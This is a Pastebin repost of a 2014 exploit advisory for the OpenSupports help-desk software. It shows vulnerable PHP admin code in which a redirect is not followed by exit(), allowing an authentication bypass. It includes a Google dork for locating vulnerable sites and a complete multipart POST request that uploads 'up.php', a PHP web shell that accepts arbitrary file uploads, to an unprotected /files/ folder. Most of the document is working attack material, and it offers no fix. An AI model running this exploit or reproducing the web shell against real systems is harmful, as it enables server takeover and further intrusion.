Advertisement
Mayk0

#; OpenSupports Remote Shell Upload Vulnerability

Mar 2nd, 2014
374
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.09 KB | None | 0 0
  1. Full title OpenSupports Remote Shell Upload Vulnerability
  2. Date add 2014-03-02
  3. Category web applications
  4. Platform php
  5. Risk <font color="#FFBF00">Security Risk High</font>
  6. Description Sites powered by OpenSupports suffer from a remote shell upload vulnerability.
  7.  
  8. ==========================================
  9.  
  10. # Exploit Title: Open Support Arbitrary Remote File Upload Vulnerabilities
  11. # Google Dork: allintext: "Power by OpenSupports © 2009 - 2014. All
  12. Rights reserved"
  13. # Date: 02,March 02,2014
  14. # Exploit Author: Slotleet
  15. # Vendor Homepage: http://www.opensupports.com/
  16. # Software Link: http://www.opensupports.com/download.html
  17. # Version: v2
  18. # Tested on: Win,Linux
  19. # Greet'z : I-HMX <3
  20.  
  21. ==========================
  22. Vulnerability Description
  23. ==========================
  24.  
  25. The Open Supports is prone to Arbitrary Remote File Upload.
  26.  
  27. ==========================
  28. PoC-Exploit
  29. ==========================
  30.  
  31. // Remote File Upload in /admin/admin.php
  32.  
  33.  
  34. session_start();
  35. require "config.php";
  36. if(isset($_POST[adminuser]))
  37. {
  38. if($_POST[adminuser] != $adminuser)
  39. {
  40. header('Location: error.php');
  41. }
  42. elseif($_POST[adminpass] != $adminpass)
  43. {
  44. header('Location: error.php');
  45. }
  46. else
  47. {
  48. $_SESSION[login] = true;
  49. }
  50. }
  51. elseif($_SESSION[login] != true)
  52. {
  53. header('Location: index.php');
  54. }
  55.  
  56.  
  57. In the first file we saw conditions if the admin logged in if not
  58. (Redirect the visitor to error.php), the problem here is the coder
  59. didn't set after redirect exit(); to make it die.
  60.  
  61. so easly we can bypass the file by POST header :)
  62.  
  63. Poc :
  64. POST : http://localhost/demo/admin/admin.php
  65. Host: localhost
  66. User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0
  67. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  68. Accept-Language: en-gb,en;q=0.5
  69. Accept-Encoding: gzip, deflate
  70. Connection: keep-alive
  71. Referer: http://localhost/demo/admin/admin.php?id=articulo
  72. Content-Type: multipart/form-data;
  73. boundary=---------------------------168279961491
  74. Content-Length: 1398
  75.  
  76. POST DATA :
  77.  
  78. -----------------------------168279961491\r\n
  79. Content-Disposition: form-data; name="asunto"\r\n
  80. \r\n
  81. qwdqwdqwdqwdqwdqwdqwd\r\n
  82. -----------------------------168279961491\r\n
  83. Content-Disposition: form-data; name="text_content"\r\n
  84. \r\n
  85. qwdqwdqwdqwd\r\n
  86. -----------------------------168279961491\r\n
  87. Content-Disposition: form-data; name="fileuploader"; filename="up.php"\r\n
  88. Content-Type: application/octet-stream\r\n
  89. \r\n
  90. <style type="text/css">\n
  91. body {\n
  92. color: #33ff33;\n
  93. background-color: black;\n
  94. font-weight: inherit;\n
  95. }\n
  96. h1,h2{\n
  97. background-color: #4D4D4D;\n
  98. color: #000000;\n
  99. text-align: center;\n
  100. }\n
  101. h3,h4,h5{\n
  102. color: silver;\n
  103. text-align: center;\n
  104. }\n
  105. </style>\n
  106. <b><br>\n
  107. <h1> Uploading </h1>\n
  108. <br><br>\n
  109. <center>\n
  110. <font color:"blue">\n
  111. <span style="font-family: monospace;">\n
  112. <span style="color: rgb(255, 255, 255);">\n
  113. <br><br>\n
  114. <font color="black"></font>\n
  115. <br></b> <?php\n
  116. echo '<form action="" method="post" enctype="multipart/form-data"
  117. name="uploader" id="uploader">';\n
  118. echo '<input type="file" name="file" size="50">\n
  119. <input name="_upl" type="submit" id="_upl" value="Upload">\n
  120. </form>'; if( $_POST['_upl'] == "Upload" ) {
  121. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']))\n
  122. {\n
  123. echo '<b>Archivo subido!</b><br><br>';\n
  124. }\n
  125. else\n
  126. {\n
  127. echo '<b>Upload Fail!</b><br><br></font>';\n
  128. }\n
  129. }\n
  130. \n
  131. ?>\n
  132. \r\n
  133. -----------------------------168279961491\r\n
  134. Content-Disposition: form-data; name="Submit22"\r\n
  135. \r\n
  136. Publish Article\r\n
  137. -----------------------------168279961491--\r\n
  138.  
  139.  
  140. Automaticly the file is uploaded to /files/, and the coder didn't
  141. create index.html or .htaccess to make visitor can't gain access to
  142. this folder.
  143.  
  144.  
  145. The POST Data will be executed in browser (Maybe You'll see Error, but
  146. the post executed just go to /files/ and you'll see such like
  147. 117310_up.php)
  148.  
  149. ==========================
  150. Solution
  151. ==========================
  152.  
  153. Not Available.
  154.  
  155. ==========================
  156. Credits
  157. ==========================
  158.  
  159. Vulnerabilities found and advisory written by Slotleet.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement